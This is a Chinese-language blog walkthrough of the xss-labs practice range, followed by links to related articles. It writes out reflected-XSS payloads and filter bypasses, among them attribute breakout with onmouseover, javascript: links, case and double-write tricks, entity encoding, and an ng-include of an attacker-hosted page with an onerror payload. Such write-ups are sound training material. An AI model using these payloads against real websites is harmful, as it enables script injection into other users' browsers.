level1

<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户te111</h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:5</h3></body>
</html>

因为本省就闭合了 所以直接传入 <script>alert(1)</script>

level2

<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和test11111相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="test11111">
<input type=submit name=submit value="搜索"/>
</form>

同样是直接闭合的 所以直接传入 <script>alert(1)</script>

我们发现 它对我们传入的 < > 进行了 html实体编码

<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="<script>alert(1)</script>">
<input type=submit name=submit value="搜索"/>
</form>

分析一下源代码 看看具体流程

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

看到这里 用了 htmlspecialchars这个函数

然后继续审计代码 发现

这里面也拼接了我们传入的值

<input name=keyword  value="'.$str.'">

所以我们可以尝试闭合 这个 input标签 直接加一个 >

现在我们传入">111 html 代码变成了<input name=keyword value="">111">

现在我们再传入"><script>alert(1)</script>

现在html代码变成了<input name=keyword value=""><script>alert(1)</script>">

但是这里有一个疑惑 因为后面肯定是要有这个">"的因为

他是直接拼接到我们传入值后面的

但是它同样的可以执行js代码 应该是 只要前面代码不出现错误 就会继续正常执行? 应该是这个样子把

level3

第三关我们传入1111

<input name=keyword  value='111111'>

发现我们跟上一关一样 只不过单引号变为了双引号 现在我们继续传入

'><script>alert(1)</script>

但是我们发现传入的东西变为了

<input name=keyword  value=''&gt;&lt;script&gt;alert(1)&lt;/script&gt;'>

加入了htmlspecialchars进行了转义

所以这里不能使用 ' " > <

这里可以使用另一种方式执行js代码

有一个这个事件onmouseover 当鼠标移动上去就会执行 设定的js代码

现在我们可以传入'onmouseover = 'javascript:alert(1)

现在html变成了

<input name=keyword  value=''onmouseover = 'javascript:alert(1)'>

巧妙地 把前面的引号和后面的引号闭合掉了

但是这里是有一个缺点的 是必须要我们鼠标移动到上面才可以执行js代码

他这里也是 不编码单引号 所以直接 直接闭合它

leve4

输入1111看看效果

<input name=keyword  value="1111">

发现还是这个样子 同样尝试闭合来执行"><script>alert(1)</script>

右击查看源代码发现

<input name=keyword  value=""scriptalert(1)/script">

发现把我们传入的> <弄没了 应该是替换为空了

看一下源代码把 源代码中发现

$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);

> <替换为空了

那还可以就像我们上一关那个样子 可以利用onmouseover 来执行js代码 现在传入" onmouseover="javascript:alert(1)

发现执行成功

html代码变为了

<input name=keyword  value="" onmouseover="javascript:alert(1)">

leve5

跟之前一样 我们尝试闭合 标签然后写入<script>alert(1)</script> 这里输入"><script>alert(1)</script>

然后html代码变为了

<input name=keyword  value=""><scr_ipt>alert(1)</script>">

所以过滤了 <script>但是我们还可以通过 之前那种做法" onmouseover="javascript:alert(1)

html代码变为了

<input name=keyword  value="" o_nmouseover="javascript:alert(1)">

所以这里是 把on变成了 o_n

看一下后端是怎么进行过滤的

$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);

这里我们可以用大小写来绕过输入"><sCript>alert(1)</script> 但是他这里进行了转小写的操作

$str = strtolower($_GET["keyword"]);

所以大小写绕过也是不行的

但是为了验证html 是不是区分大小写的 我们可以把上面转小写的代码注释掉试一试

发现确实是不区分大小写的

那还可以通过什么方式来绕过呢

可以使用超链接的方法

老样子 先闭合 然后添加超链接"><a href="javascript:alert(1)

但是这种要求更严格了 就需要我们点击这个超链接才可以触发js代码

还有一种方法 这里虽然不可用 但是还要说一下 就是 如果它过滤了<script> 我们就可以再后面加一个空格来绕过了 就是<script > 但是这里它只是过滤了<script 我们如果往前面加空格的话 他js语法不允许的 所以 如果有时过滤了 <script>我们可以在后面加空格来绕过

leve6

这关直接大小写绕过就可以了

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);

虽然过滤了这么多关键字 但是没有转换为小写 可以大小写绕过

leve7

发现过滤了script 直接双写绕过

leve8

使用html编码绕过即可 需要url编码才可以

leve9

跟上一关一样 就是不需要加上http://然后就可以在前面加注释符就可以了javascrip%26%23x74%3B:alert(1)//http://

leve10

可以传入

" onmouseover="javascript:alert(1)

但因为属性是hidden的 我们没有办法去触发js代码 所以我们可以用添加一个type属性

" type="text" onmouseover="javascript:alert(1) 让它显示出来 然后就可以触发

leve11

http头注入

leve12

leve13

跟之前的差不多 不说了

leve14

环境问题

leve15

看代码

<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

这里面有个ng-include:函数 可以包含html文件 但是php中的 html代码也是可以的

ng-include 指令用于包含外部的 HTML文件
包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
ng-include,如果单纯指定地址,必须要加引号
ng-include,加载外部html,script标签中的内容不执行
ng-include,加载外部html中含有style标签样式可以识别

所以这里在自己的vps上写个可以触发xss的代码

例如

<?php
header('Access-Control-Allow-Origin:*');
?>
<html>
<img src=1 onerror="alert(123)">
</html>

因为是不能触发script标签里面的代码 所以我们可以用上面的来触发 使 图片加载不出来 然后执行后面的 onerror 然后默认情况下使只能包含同域名下的文件 但是我们在我们的xss.php中写了 允许所有人访问 就可以包含了

然后还必须要加引号 ?src='http://xxx.xxx.xxx.xxx/xss.php'

leve16

可以用上面那个 引用不存在的图片 然后执行onerror中的代码<img src=0 onerror=alert(1)>

因为过滤了空格 然后可以用 %09(换行)来绕过

xss-labs的更多相关文章

  1. XSS - Labs 靶场笔记(下)

    Less - 11: 1.观察界面和源代码可知,依旧是隐藏表单 2.突破点是 $str11=$_SERVER['HTTP_REFERER']; (本题为HTTP头REFERER注入) 3.因此构造pa ...

  2. XSS - Labs 靶场笔记(上)

    上周在网上看到的一个XSS平台,刷一波<doge Less - 1: 1.进入主界面,由图二可知是GET请求,提交name=test,回显在页面 2.查看源代码可知 没有做任何过滤,显然存在反射 ...

  3. [转]XSS现代WAF规则探测及绕过技术

    初始测试 1.使用无害的payload,类似<b>,<i>,<u>观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过滤<>等等: 2.如果 ...

  4. WAF指纹识别和XSS过滤器绕过技巧

    [译文] -- “Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters” 0x1 前言 之前在乌云drop ...

  5. Web安全--XSS现代WAF规则探测及绕过技术

    XSS现代WAF规则探测及绕过技术初始测试 1.使用无害的payload,类似<b>,<i>,<u>观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过 ...

  6. XSS绕过小结

    0x00前言 我们友情进行XSS检查,偶然跳出个小弹窗,其中我们总结了一些平时可能用到的XSS插入方式,方便我们以后进行快速检查,也提供了一定的思路,其中XSS有反射.存储.DOM这三类,至于具体每个 ...

  7. XSS绕过速查表

    0x00 目录 0x01 常规插入及其绕过 1 Script 标签 绕过进行一次移除操作: <scr<script>ipt>alert("XSS")< ...

  8. 【技巧总结】Penetration Test Engineer[3]-Web-Security(SQL注入、XXS、代码注入、命令执行、变量覆盖、XSS)

    3.Web安全基础 3.1.HTTP协议 1)TCP/IP协议-HTTP 应用层:HTTP.FTP.TELNET.DNS.POP3 传输层:TCP.UDP 网络层:IP.ICMP.ARP 2)常用方法 ...

  9. Bypass xss过滤的测试方法

    0x00 背景 本文来自于<Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters>其中的byp ...

  10. 第二百六十五节,xss脚本攻击介绍

    xss脚本攻击介绍 Cross-Site Scripting(XSS)是一类出现在 web 应用程序上的安全弱点,攻击者可以通过 XSS 插入一 些代码,使得访问页面的其他用户都可以看到,XSS 通常 ...

随机推荐

  1. Thymeleaf的内置对象、SpringBoot整合Thymeleaf和JDBC

    Thymeleaf的对象 Thymeleaf是直接支持访问Servlet web的原生资源,HttpServletRequest HttpServletResponse HttpSession Ser ...

  2. 2.17 win32 入口 esp寻址 回调函数定位 具体事件定位

    wWinMain(In HINSTANCE hInstance, 主函数入口的第一个参数 句柄 通过注释找到获取最后参数的地方 C/C++默认方式,参数从右向左入栈,主调函数负责栈平衡. 由此猜测下面 ...

  3. Diffusers库的初识及使用

    diffusers库的目标是: 将扩散模型(diffusion models)集中到一个单一且长期维护的项目中 以公众可访问的方式复现高影响力的机器学习系统,如DALLE.Imagen等 让开发人员可 ...

  4. Windows下小狼毫配置五笔拼音方案

    Windows下小狼毫配置五笔拼音方案 目录 Windows下小狼毫配置五笔拼音方案 1 下载并安装小狼毫rime 2 配置五笔.五笔拼音方案 3 安装设置五笔拼音混合输入 4 设置输入方案 1 下载 ...

  5. CCRD_TOC_2007年11月_总第12期

    中信国健临床通讯 2007年11月, 总第12期 目 录   类风湿关节炎 1 MRI证实Etanercept治疗的RA患者中尽管关节炎症还在持续但是骨侵蚀进展停止 Dohn UM, et al. C ...

  6. 深入解读.NET MAUI音乐播放器项目(三):界面交互

    UI设计的本质是对于产品的理解在界面中多种形式的映射,当需求和定位不同时,对相同的功能表达出了不同的界面和交互方式. 作为播放器,界面可以是千差万别的.<番茄播放器>的iOS平台上我开发了 ...

  7. XMLHttpRequest、Ajax、Fetch与Axios

    1. 引言 XMLHttpRequest.Ajax.Fetch与Axios是网页前后端交互中常见到的名词 参考MDN:Ajax - Web 开发者指南 | MDN (mozilla.org) Ajax ...

  8. 【C学习笔记】day3-2 计算1/1-1/2+1/3-1/4+1/5 …… + 1/99 - 1/100 的值。

    #include <stdio.h> int main() { double sum = 0; double j = 1.0; for (int i = 1; i <= 100; i ...

  9. elementUi-2.13.2版本添加暂无数据

    1.实现效果如下: 2. 代码实现 <el-table empty-taxt="暂无数据"></el-table> css样式设置: .el-table__ ...

  10. 解决多行文本超出显示省略号webpack打包后失效的问题

    开发环境没问题: 但是在打包部署后就失效了: 经过对比后发现是因为: 缺少了 -webkit-box-orient: vertical;  导致 解决方案 : /* ! autoprefixer: o ...